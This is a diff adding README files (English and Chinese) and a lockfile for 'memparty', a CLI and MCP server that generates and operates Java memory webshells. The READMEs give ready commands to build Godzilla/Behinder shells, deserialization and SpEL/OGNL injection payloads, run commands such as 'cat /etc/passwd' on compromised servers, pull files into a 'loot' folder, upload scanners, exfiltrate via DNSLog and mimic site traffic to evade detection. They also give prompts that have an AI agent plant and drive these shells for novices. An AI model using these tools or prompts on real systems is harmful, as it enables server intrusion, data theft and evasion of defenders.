+memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
+ --godzilla-pass pass --godzilla-key key -o shell.class
+
+# Command shell with an explicit encryptor
+memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
+ --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
+
+# Full JSON response (metadata + payload) for further processing
+memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
+```
+
+`--jdk` accepts `java6/8/9/11/17/21`, a bare number (`8`), or a raw class-file major version (`52`).
+
+Note: some packers (e.g. `Base64`) are *aggregate* packers and return several variants at once;
+pick a leaf packer (e.g. `DefaultBase64`, `GzipBase64`) for a single payload.
+
+### Discovering options
+
+```bash
+memparty config servers # servers and their shell types
+memparty config tools Tomcat # tools + types for one server
+memparty config packers # packer parent/child tree
+memparty config command # Command encryptors & implementation classes
+memparty config servers --json # machine-readable
+```
+
+### Probe shells
+
+```bash
+memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
+memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
+```
+
+Probe method × content matrix (only these combos are supported by the backend):
+
+| Method `-m` | Supported content `-c` |
+|-------------|-------------------------|
+| `DNSLog` | `Server`, `JDK` |
+| `Sleep` | `Server` |
+| `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
+
+### Testing a deployed shell
+
+`memparty connect` checks whether a shell that is already injected/uploaded actually answers —
+it performs the real protocol handshake (Behinder echo, Godzilla payload + `test()` call, suo5
+tunnel handshake) and exits 0 on success, 1 on failure.
+
+```bash
+# Godzilla (defaults: --pass pass --key key)
+memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key
+
+# Behinder (default: --pass rebeyond)
+memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond
+
+# suo5 (auto-detects the v2 handshake vs the legacy v1 echo; force with --suo5-mode v2|v1)
+memparty connect -u http://target/suo5.jsp -t suo5
+```
+
+Shells generated by MemShellParty are gated by an auth header — the values are in the
+`gen --json` output as `shellToolConfig.headerName` / `headerValue` and **must** be passed along
+(the Suo5v2 shell checks it too):
+
+```bash
+memparty connect -u http://target/x -t godzilla --pass pass --key key \
+ --header-name User-Agent --header-value my-secret-token
+```
+
+Other flags: `-H "Name: value"` for extra headers, `-k/--insecure` for self-signed TLS,
+`--json` for machine-readable output, `--timeout ` (global option).
+
+### Executing commands on a deployed shell
+
+`memparty exec` runs a command line through a deployed Godzilla / Behinder shell and prints the
+remote stdout+stderr. It uses the tool's real protocol — Godzilla's `execCommand` payload method
+(argv passed as `arg-0..N`, wrapped in `cmd.exe /c` or `/bin/sh -c`) and Behinder's `Cmd` payload
+class (which picks the shell itself based on the remote `os.name`).
+
+```bash
+# Godzilla — auto-detects the remote OS via getBasicsInfo (one extra request);
+# pass --os windows|linux to skip the detection
+memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key --cmd "whoami"
+
+# Behinder — the payload detects the OS itself, no extra request
+memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat /etc/passwd"
+```
+
+The gate-header flags are the same as for `connect`; `--json` returns
+`{ ok, tool, url, command, output, durationMs }` for automation.
+
+### File upload / download
+
+`memparty upload` / `memparty download` transfer files through a deployed Godzilla / Behinder
+shell, using the tool's real protocol (Godzilla's `uploadFile`/`bigFileUpload`/`bigFileDownload`
+payload methods; Behinder's `FileOperation` payload class via create+append / downloadPart).
+Large files are chunked automatically. Integrity is verified after transfer — the remote size
+for Godzilla, the remote MD5 for Behinder — a failed check is an error, not a silent bad file.
+
+```bash
+# download: defaults to ./; -o sets the destination
+# (an existing directory keeps the remote basename)
+memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \
+ --header-value my-secret-token /etc/passwd -o loot/passwd
+
+# an existing local file is never overwritten unless --force is given
+memparty download web1 /var/log/app.log --force
+
+# upload: overwrites the remote file (truncate + write), up to 64 MiB
+memparty upload web1/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe"
+```
+
+Failure semantics are explicit: missing remote file, bad credentials, or an exhausted chunk
+retry all exit 1 with a clear message; an aborted upload warns that the remote file may be
+partial. `--json` returns `{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }`.
+
+Non-ASCII paths: always fine on Behinder (paths travel inside the class constant pool, so the
+platform charset is irrelevant). Godzilla's payload decodes path parameters with the server's
+platform default charset — UTF-8 on JDK 18+ and virtually all Linux, so nothing is needed; on an
+old JDK (8/11/17) on Chinese Windows the default is GBK — pass `--remote-charset GBK` (MCP:
+`remoteCharset`) for non-ASCII paths there. On Behinder, files over 128 MiB are verified by size
+instead of MD5 (the payload's check reads the whole file byte-by-byte). Limits: 2 GiB for
+Godzilla (a payload int restriction), 64 MiB for Behinder upload, 2 GiB for Behinder download.
+
+### Saved targets (projects)
+
+Save a shell once, then reference it by name — no more flag soup. Shells live inside
+**projects**: a project groups several shells of one engagement and carries an optional
+`--remark` and `--category`. The store is `~/.memparty/targets.json`.
+
+```bash
+# save (project is created on the fly; --remark/--category are project-level,
+# --shell-remark describes this one shell)
+memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \
+ -t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \
+ --remark "内网测试环境 WebSphere" --category test --shell-remark "root 权限"
+
+# list everything (filter with --category )
+memparty list
+
+# use: /, or a bare project name when it holds exactly one shell
+memparty connect web1/bh9060
+memparty exec web1 --cmd "whoami"
+
+# edit project meta or a shell's remark / clean up
+memparty note web1 --remark "new remark" --category prod
+memparty note web1/bh9060 --remark "new shell note"
+memparty remove web1/bh9060 # one shell
+memparty remove web1 # the whole project
+```
+
+Explicit flags still override stored values (`memparty exec web1 --cmd id --pass otherpass`).
+
+### Operation log
+
+Every operation (gen, probe, connect, exec, download, upload, save/note/remove) is appended as
+one JSON line to `~/.memparty/operations.jsonl` — target, outcome, duration, and for exec the
+command plus truncated output. Credentials, payload bytes, and file contents are never logged.
+
+```bash
+memparty log # latest 50 operations, newest first
+memparty log --category exec # only command executions
+memparty log --target web1 # everything against one project (or a host substring)
+memparty log --category connect --json
+```
+
+## Demos
+
+End-to-end recipes. Pick the **packer** to match your delivery vector, and the **shell type** to
+match the target (add the `Jakarta` prefix for Tomcat 10+ / Spring Boot 3; use `Agent*` types with
+the `AgentJar*` packers). When in doubt, run `memparty config tools ` and
+`memparty config packers` first.
+
+### 1. Godzilla webshell on Tomcat 9 (javax)
+
+```bash
+# Listener-based Godzilla shell, single base64 payload to stdout
+memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
+ --godzilla-pass pass --godzilla-key key --jdk java8
+
+# ...or write the decoded injector .class straight to disk
+memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
+ --godzilla-pass pass --godzilla-key key -o shell.class
+```
+
+### 2. Same shell on Tomcat 10+ / Spring Boot 3 (Jakarta)
+
+```bash
+memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \
+ --godzilla-pass pass --godzilla-key key --jdk java17
+```
+
+### 3. Pure command-execution shell (RCE)
+
+```bash
+memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
+ --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8
+```
+
+### 4. Deserialization gadget chain (e.g. CommonsBeanutils ≤ 1.9.4)
+
+```bash
+memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
+ --godzilla-pass pass --godzilla-key key --jdk java8
+# other chains: JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4
+```
+
+### 5. Expression-injection delivery (SpEL / OGNL / EL / Groovy …)
+
+```bash
+# Spring SpEL injection -> define + load the shell class (Spring uses Interceptor, not Filter)
+memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \
+ --command-param-name cmd --jdk java8
+# OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
+# (SpEL/OGNL/JXPath are *aggregate* packers — they return several variants at once)
+```
+
+### 6. Drop a JSP file
+
+```bash
+memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \
+ --godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp
+```
+
+### 7. Java-agent memory shell (survives redeploys, hooks deep)
+
+```bash
+memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \
+ --godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar
+```
+
+### 8. Fingerprint the target first (blind)
+
+```bash
+# DNSLog: confirm code execution + exfil the server/JDK name via DNS
+memparty probe -m DNSLog -c Server -p DefaultBase64 --host .dnslog.cn
+# Sleep: time-based blind — delays Ns only if the server matches your guess
+memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
+```
+
+The server name a probe reports is exactly the `-s` value to pass to `memparty gen`.
+
+### Parse a class name
+
+```bash
+memparty parse-classname --file shell.class
+memparty parse-classname
+```
+
+### Version
+
+```bash
+memparty version # CLI version + backend server version
+```
+
+## MCP server
+
+Run the CLI as an MCP server over stdio:
+
+```bash
+memparty mcp --api http://127.0.0.1:8080
+```
+
+Example Claude Code / Claude Desktop config:
+
+```json
+{
+ "mcpServers": {
+ "memshell-party": {
+ "command": "npx",
+ "args": ["-y", "memshell-party-cli", "mcp"],
+ "env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
+ }
+ }
+}
+```
+
+Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`,
+`generate_memshell`, `generate_probe`, `parse_classname`, `server_version`, `connect_test`,
+`exec_command`, `download_file`, `upload_file`, `target_save`, `target_note`, `target_list`,
+`target_remove`, `log_list`.
+
+## AI skill
+
+The package ships `skills/memshell-party/SKILL.md` — a workflow guide for agents (server / tool /
+type / packer decision tree, probe matrix, packer-by-scenario guidance, mimic site profiles, and
+common gotchas such as Jakarta vs javax, JDK targeting, aggregate vs leaf packers).
+
+Install with the built-in command (re-run after a CLI upgrade to refresh; restart the agent so it
+picks the skill up):
+
+```bash
+memparty skill install # ~/.agents/skills/memshell-party (default)
+memparty skill install --claude # ~/.claude/skills/memshell-party (Claude Code)
+memparty skill install --project # ./skills/memshell-party
+memparty skill install --user --claude # both user + claude scopes
+```
+
+Then ask in natural language, e.g. *"generate a Godzilla listener for Tomcat 10"* or
+*"give me a CommonsBeanutils deserialization payload for a Spring Boot 2 app"* — the skill guides
+the agent to enumerate options first and pick the right packer for the vector.
+
+## Site-mimicking (mimic)
+
+Build a custom shell whose traffic blends into a real business site. Flow:
+
+```bash
+memparty skill install # teach the agent the workflow
+memparty profile init acme --site http://192.0.2.1:8080 # skeleton profile to hand-author
+memparty custom build --profile acme --server Tomcat # -> injectable payload
+memparty demo # local end-to-end walkthrough
+```
+
+`profile` also has `list` / `show` / `check`. Details and camouflage options (body templates, JSON
+request bodies, SSE cover streams, etc.) live in the skill.
+
+## Programmatic use
+
+The package also ships a typed API client:
+
+```ts
+import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
+
+const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
+const res = await client.generateMemShell(
+ buildMemShellRequest({
+ server: "Tomcat",
+ shellTool: "Godzilla",
+ shellType: "Listener",
+ packer: "DefaultBase64",
+ godzillaPass: "pass",
+ godzillaKey: "key",
+ jdk: "java8",
+ }),
+);
+console.log(res.memShellResult.shellClassName, res.packResult);
+```
+
+## Development
+
+```bash
+npm install
+npm run build # tsup -> dist/
+npm test # vitest
+npm run typecheck # tsc --noEmit
+```
+
+## License
+
+MIT
diff --git a/tools/cli/README.md b/tools/cli/README.md
new file mode 100644
index 00000000..ff772374
--- /dev/null
+++ b/tools/cli/README.md
@@ -0,0 +1,146 @@
+# tools/cli — MemShellParty Node CLI
+
+Standalone **Node.js** client in this monorepo (**not** a Gradle module).
+
+- Talks to the existing HTTP API (`boot` / [party.mem.mk](https://party.mem.mk)): generate memshell & probe shells.
+- Same codebase as [7-e1even/memshell-party-cli](https://github.com/7-e1even/memshell-party-cli).
+- Related to [#143](https://github.com/ReaJason/MemShellParty/issues/143).
+
+## Build & test (in this monorepo)
+
+```bash
+cd tools/cli
+npm ci
+npm test
+npm run build
+node dist/cli.js --api http://127.0.0.1:8080 gen
+```
+
+Requires Node.js >= 18. Does **not** participate in `./gradlew` or the Docker image (`Dockerfile` / `.dockerignore` already drop `tools/`).
+
+---
+
+# memshell-party-cli
+
+[English](README.en.md) | 中文
+
+[MemShellParty](https://party.mem.mk) 的 AI 工具:让 AI 帮你生成 Java 内存马、连马、执行命令、传文件。
+
+> ⚠️ 仅限授权安全测试与研究。后果自负。
+
+---
+
+## 第 1 步:安装本工具
+
+1. 电脑装好 [Node.js](https://nodejs.org/)(选 LTS,18 或更新)
+2. 打开终端,复制粘贴:
+
+```bash
+npm install -g memshell-party-cli
+```
+
+3. 检查是否成功:
+
+```bash
+memparty version
+```
+
+能看到版本号就 OK。
+
+---
+
+## 第 2 步:把使用手册教给 AI(Skill)
+
+Skill 是给 AI 看的完整说明书。装好后,AI 会按手册一步步操作,不用你懂技术。
+
+**用 Claude Code 的,执行:**
+
+```bash
+memparty skill install --claude
+```
+
+**用别的 AI 代理的,执行:**
+
+```bash
+memparty skill install
+```
+
+**两个都想装:**
+
+```bash
+memparty skill install --user --claude
+```
+
+装完后**重启一下你的 AI 工具**(关掉再打开),它才会读到新 skill。
+
+以后升级了本工具,再跑一遍上面的安装命令,就能刷新说明书。
+
+---
+
+## 第 3 步:给 AI 接上 MCP(可选,但推荐)
+
+让 AI 能直接调用本工具。在 AI 的 MCP 配置里加上:
+
+```json
+{
+ "mcpServers": {
+ "memshell-party": {
+ "command": "npx",
+ "args": ["-y", "memshell-party-cli", "mcp"]
+ }
+ }
+}
+```
+
+保存后重启 AI。
+
+---
+
+## 第 4 步:直接对 AI 说话
+
+**先确认 skill 在不在(推荐每次新开对话先说这句):**
+
+```text
+请先读取 memshell-party 这个 skill,然后严格按 skill 里的步骤操作,不要自己瞎猜参数。
+```
+
+**生成一个马:**
+
+```text
+请按 memshell-party skill,帮我生成一个常用的 Tomcat 哥斯拉内存马。
+把文件、密码、密钥都给我,并用简单话告诉我下一步怎么做。
+```
+
+**连上马并执行命令:**
+
+```text
+请按 memshell-party skill 操作。
+网址:【http://这里换成你的地址】
+类型:哥斯拉,密码:【pass】,密钥:【key】。
+先测能不能连上,连上后执行 whoami,用简单话告诉我结果。
+```
+
+**传文件:**
+
+```text
+请按 memshell-party skill。
+在已经连上的马上:
+下载服务器上的【/etc/passwd】到本地;
+上传本地【工具.exe】到服务器【/tmp/工具.exe】。
+```
+
+**我完全不懂,你带我:**
+
+```text
+我是小白。请先读取 memshell-party skill,然后一步一步带我:
+1. 生成一个常用的 Tomcat 哥斯拉内存马
+2. 用大白话告诉我生成结果里哪些要保存
+3. 我部署好后把网址发给你,你帮我连上并执行命令
+每一步先说明要做什么,等我确认再继续。只在我授权的环境操作。
+```
+
+---
+
+## 许可证
+
+MIT
diff --git a/tools/cli/package-lock.json b/tools/cli/package-lock.json
new file mode 100644
index 00000000..9e7af0d5
--- /dev/null
+++ b/tools/cli/package-lock.json
@@ -0,0 +1,4060 @@
+{
+ "name": "memshell-party-cli",
+ "version": "0.6.0",
+ "lockfileVersion": 3,
+ "requires": true,
+ "packages": {
+ "": {
+ "name": "memshell-party-cli",
+ "version": "0.6.0",
+ "license": "MIT",
+ "dependencies": {
+ "@inquirer/prompts": "^7.2.1",
+ "@modelcontextprotocol/sdk": "^1.12.1",
+ "commander": "^12.1.0",
+ "iconv-lite": "^0.7.3",
+ "zod": "^3.24.1"
+ },
+ "bin": {
+ "memparty": "dist/cli.js"
+ },
+ "devDependencies": {
+ "@types/node": "^22.10.2",
+ "tsup": "^8.3.5",
+ "typescript": "^5.7.2",
+ "vitest": "^2.1.8"
+ },
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/aix-ppc64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.7.tgz",
+ "integrity": "sha512-EKX3Qwmhz1eMdEJokhALr0YiD0lhQNwDqkPYyPhiSwKrh7/4KRjQc04sZ8db+5DVVnZ1LmbNDI1uAMPEUBnQPg==",
+ "cpu": [
+ "ppc64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "aix"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/android-arm": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.27.7.tgz",
+ "integrity": "sha512-jbPXvB4Yj2yBV7HUfE2KHe4GJX51QplCN1pGbYjvsyCZbQmies29EoJbkEc+vYuU5o45AfQn37vZlyXy4YJ8RQ==",
+ "cpu": [
+ "arm"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/android-arm64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.27.7.tgz",
+ "integrity": "sha512-62dPZHpIXzvChfvfLJow3q5dDtiNMkwiRzPylSCfriLvZeq0a1bWChrGx/BbUbPwOrsWKMn8idSllklzBy+dgQ==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/android-x64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.27.7.tgz",
+ "integrity": "sha512-x5VpMODneVDb70PYV2VQOmIUUiBtY3D3mPBG8NxVk5CogneYhkR7MmM3yR/uMdITLrC1ml/NV1rj4bMJuy9MCg==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/darwin-arm64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.27.7.tgz",
+ "integrity": "sha512-5lckdqeuBPlKUwvoCXIgI2D9/ABmPq3Rdp7IfL70393YgaASt7tbju3Ac+ePVi3KDH6N2RqePfHnXkaDtY9fkw==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/darwin-x64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.27.7.tgz",
+ "integrity": "sha512-rYnXrKcXuT7Z+WL5K980jVFdvVKhCHhUwid+dDYQpH+qu+TefcomiMAJpIiC2EM3Rjtq0sO3StMV/+3w3MyyqQ==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/freebsd-arm64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.27.7.tgz",
+ "integrity": "sha512-B48PqeCsEgOtzME2GbNM2roU29AMTuOIN91dsMO30t+Ydis3z/3Ngoj5hhnsOSSwNzS+6JppqWsuhTp6E82l2w==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "freebsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/freebsd-x64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.27.7.tgz",
+ "integrity": "sha512-jOBDK5XEjA4m5IJK3bpAQF9/Lelu/Z9ZcdhTRLf4cajlB+8VEhFFRjWgfy3M1O4rO2GQ/b2dLwCUGpiF/eATNQ==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "freebsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/linux-arm": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.27.7.tgz",
+ "integrity": "sha512-RkT/YXYBTSULo3+af8Ib0ykH8u2MBh57o7q/DAs3lTJlyVQkgQvlrPTnjIzzRPQyavxtPtfg0EopvDyIt0j1rA==",
+ "cpu": [
+ "arm"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/linux-arm64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.27.7.tgz",
+ "integrity": "sha512-RZPHBoxXuNnPQO9rvjh5jdkRmVizktkT7TCDkDmQ0W2SwHInKCAV95GRuvdSvA7w4VMwfCjUiPwDi0ZO6Nfe9A==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/linux-ia32": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.27.7.tgz",
+ "integrity": "sha512-GA48aKNkyQDbd3KtkplYWT102C5sn/EZTY4XROkxONgruHPU72l+gW+FfF8tf2cFjeHaRbWpOYa/uRBz/Xq1Pg==",
+ "cpu": [
+ "ia32"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/linux-loong64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.27.7.tgz",
+ "integrity": "sha512-a4POruNM2oWsD4WKvBSEKGIiWQF8fZOAsycHOt6JBpZ+JN2n2JH9WAv56SOyu9X5IqAjqSIPTaJkqN8F7XOQ5Q==",
+ "cpu": [
+ "loong64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/linux-mips64el": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.27.7.tgz",
+ "integrity": "sha512-KabT5I6StirGfIz0FMgl1I+R1H73Gp0ofL9A3nG3i/cYFJzKHhouBV5VWK1CSgKvVaG4q1RNpCTR2LuTVB3fIw==",
+ "cpu": [
+ "mips64el"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/linux-ppc64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.27.7.tgz",
+ "integrity": "sha512-gRsL4x6wsGHGRqhtI+ifpN/vpOFTQtnbsupUF5R5YTAg+y/lKelYR1hXbnBdzDjGbMYjVJLJTd2OFmMewAgwlQ==",
+ "cpu": [
+ "ppc64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/linux-riscv64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.27.7.tgz",
+ "integrity": "sha512-hL25LbxO1QOngGzu2U5xeXtxXcW+/GvMN3ejANqXkxZ/opySAZMrc+9LY/WyjAan41unrR3YrmtTsUpwT66InQ==",
+ "cpu": [
+ "riscv64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/linux-s390x": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.27.7.tgz",
+ "integrity": "sha512-2k8go8Ycu1Kb46vEelhu1vqEP+UeRVj2zY1pSuPdgvbd5ykAw82Lrro28vXUrRmzEsUV0NzCf54yARIK8r0fdw==",
+ "cpu": [
+ "s390x"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/linux-x64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.27.7.tgz",
+ "integrity": "sha512-hzznmADPt+OmsYzw1EE33ccA+HPdIqiCRq7cQeL1Jlq2gb1+OyWBkMCrYGBJ+sxVzve2ZJEVeePbLM2iEIZSxA==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/netbsd-arm64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.27.7.tgz",
+ "integrity": "sha512-b6pqtrQdigZBwZxAn1UpazEisvwaIDvdbMbmrly7cDTMFnw/+3lVxxCTGOrkPVnsYIosJJXAsILG9XcQS+Yu6w==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "netbsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/netbsd-x64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.27.7.tgz",
+ "integrity": "sha512-OfatkLojr6U+WN5EDYuoQhtM+1xco+/6FSzJJnuWiUw5eVcicbyK3dq5EeV/QHT1uy6GoDhGbFpprUiHUYggrw==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "netbsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/openbsd-arm64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.27.7.tgz",
+ "integrity": "sha512-AFuojMQTxAz75Fo8idVcqoQWEHIXFRbOc1TrVcFSgCZtQfSdc1RXgB3tjOn/krRHENUB4j00bfGjyl2mJrU37A==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openbsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/openbsd-x64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.27.7.tgz",
+ "integrity": "sha512-+A1NJmfM8WNDv5CLVQYJ5PshuRm/4cI6WMZRg1by1GwPIQPCTs1GLEUHwiiQGT5zDdyLiRM/l1G0Pv54gvtKIg==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openbsd"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/openharmony-arm64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.27.7.tgz",
+ "integrity": "sha512-+KrvYb/C8zA9CU/g0sR6w2RBw7IGc5J2BPnc3dYc5VJxHCSF1yNMxTV5LQ7GuKteQXZtspjFbiuW5/dOj7H4Yw==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openharmony"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/sunos-x64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.27.7.tgz",
+ "integrity": "sha512-ikktIhFBzQNt/QDyOL580ti9+5mL/YZeUPKU2ivGtGjdTYoqz6jObj6nOMfhASpS4GU4Q/Clh1QtxWAvcYKamA==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "sunos"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/win32-arm64": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.27.7.tgz",
+ "integrity": "sha512-7yRhbHvPqSpRUV7Q20VuDwbjW5kIMwTHpptuUzV+AA46kiPze5Z7qgt6CLCK3pWFrHeNfDd1VKgyP4O+ng17CA==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@esbuild/win32-ia32": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.27.7.tgz",
